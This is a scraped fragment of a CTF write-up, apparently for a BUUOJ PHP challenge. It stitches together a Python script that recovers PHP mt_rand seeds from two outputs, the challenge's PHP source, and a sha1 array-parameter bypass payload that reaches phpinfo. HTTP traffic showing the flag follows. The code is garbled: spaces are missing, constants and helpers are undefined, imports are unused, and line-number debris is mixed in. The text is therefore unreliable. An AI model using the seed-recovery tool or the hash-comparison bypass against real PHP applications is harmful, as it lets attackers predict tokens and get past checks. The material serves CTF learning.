from base64 import b64encode from os import remove from subprocess import check_output from threading import Thread from time import sleep import subprocess
# reverse_mt_rand.py # Charles Fol # @cfreal_ # 2020-01-04 (originally la long time ago ~ 2010) # Breaking mt_rand() with two output values and no bruteforce. # """ R = final rand value S = merged state value s = original state value """
defphp_mt_initialize(seed): """Creates the initial state array from a seed. """ state = [None] * N state[0] = seed & 0xffffffff; for i inrange(1, N): r = state[i-1] state[i] = ( STATE_MULT * ( r ^ (r >> 30) ) + i ) & MAX return state
defundo_php_mt_initialize(s, p): """From an initial state value `s` at position `p`, find out seed. """ # We have: # state[i] = (1812433253U * ( state[i-1] ^ (state[i-1] >> 30) + i )) % 100000000 # and: # (2520285293 * 1812433253) % 100000000 = 1 (Modular mult. inverse) # => 2520285293 * (state[i] - i) = ( state[i-1] ^ (state[i-1] >> 30) ) (mod 100000000) for i inrange(p, 0, -1): s = _undo_php_mt_initialize(s, i) return s
def_undo_php_mt_initialize(s, i): s = (STATE_MULT_INV * (s - i)) & MAX return s ^ s >> 30
defphp_mt_rand(s1): """Converts a merged state value `s1` into a random value, then sent to the user. """ s1 ^= (s1 >> 11) s1 ^= (s1 << 7) & 0x9d2c5680 s1 ^= (s1 << 15) & 0xefc60000 s1 ^= (s1 >> 18) return s1
defundo_php_mt_rand(s1): """Retrieves the merged state value from the value sent to the user. """ s1 ^= (s1 >> 18) s1 ^= (s1 << 15) & 0xefc60000 s1 = undo_lshift_xor_mask(s1, 7, 0x9d2c5680) s1 ^= s1 >> 11 s1 ^= s1 >> 22 return s1
defundo_lshift_xor_mask(v, shift, mask): """r s.t. v = r ^ ((r << shift) & mask) """ for i inrange(shift, 32, shift): v ^= (bits(v, i - shift, shift) & bits(mask, i, shift)) << i return v
defphp_mt_reload(state, flavour): s = state for i inrange(0, N - M): s[i] = _twist_php(s[i+M], s[i], s[i+1], flavour) for i inrange(N - M, N - 1): s[i] = _twist_php(s[i+M-N], s[i], s[i+1], flavour)
def_twist_php(m, u, v, flavour): """Emulates the `twist` and `twist_php` #defines. """ mask = 0x9908b0dfif (u if flavour == MT_RAND_PHP else v) & 1else0 return m ^ (((u & 0x80000000) | (v & 0x7FFFFFFF)) >> 1) ^ mask
defundo_php_mt_reload(S000, S227, offset, flavour): #define twist_php(m,u,v) (m ^ (mixBits(u,v)>>1) ^ ((uint32_t)(-(int32_t)(loBit(u))) & 0x9908b0dfU)) # m S000 # u S227 # v S228 X = S000 ^ S227 # This means the mask was applied, and as such that S227's LSB is 1 s22X_0 = bv(X, 31) # remove mask if present if s22X_0: X ^= 0x9908b0df
# Another easy guess s227_31 = bv(X, 30) # remove bit if present if s227_31: X ^= 1 << 30
# We're missing bit 0 and bit 31 here, so we have to try every possibility s228_1_30 = (X << 1) for s228_0 inrange(2): for s228_31 inrange(2): if flavour == MT_RAND_MT19937 and s22X_0 != s228_0: continue s228 = s228_0 | s228_31 << 31 | s228_1_30
# Check if the results are consistent with the known bits of s227 s227 = _undo_php_mt_initialize(s228, 228 + offset) if flavour == MT_RAND_PHP and bv(s227, 0) != s22X_0: continue if bv(s227, 31) != s227_31: continue # Check if the guessed seed yields S000 as its first scrambled state rand = undo_php_mt_initialize(s228, 228 + offset) state = php_mt_initialize(rand) php_mt_reload(state, flavour) ifnot (S000 == state[offset]): continue return rand returnNone
defmain(_R000, _R227, offset, flavour): # Both were >> 1, so the leftmost byte is unknown _R000 <<= 1 _R227 <<= 1 for R000_0 inrange(2): for R227_0 inrange(2): R000 = _R000 | R000_0 R227 = _R227 | R227_0 S000 = undo_php_mt_rand(R000) S227 = undo_php_mt_rand(R227) seed = undo_php_mt_reload(S000, S227, offset, flavour) if seed: return seed
<?php error_reporting(0); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("HTTP/1.1 405 Method Not Allowed"); exit(); } else { if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){ show_source(__FILE__); } elseif ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){ phpinfo(); // collect information from phpinfo! } }
1 2
POST: roam1[]=1&roam2[]=2
1
auto_prepend_file : /var/www/html/f1444aagggg.php
直接访问并没有发现flag,发包看看
1 2 3 4 5 6 7 8 9 10 11 12 13
Resquest:
POST /f1444aagggg.php HTTP/1.1 Host: ff0b9b96-4d7c-4f97-9cfc-d7c88dcae164.node5.buuoj.cn:81 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
Response:
HTTP/1.1 404 Not Found Server: openresty Date: Fri, 09 Aug 2024 06:11:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 195 Connection: close X-Powered-By: PHP/7.2.25 Flag: SYC{w31c0m3_t0_5yc_r0@m_php1}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html>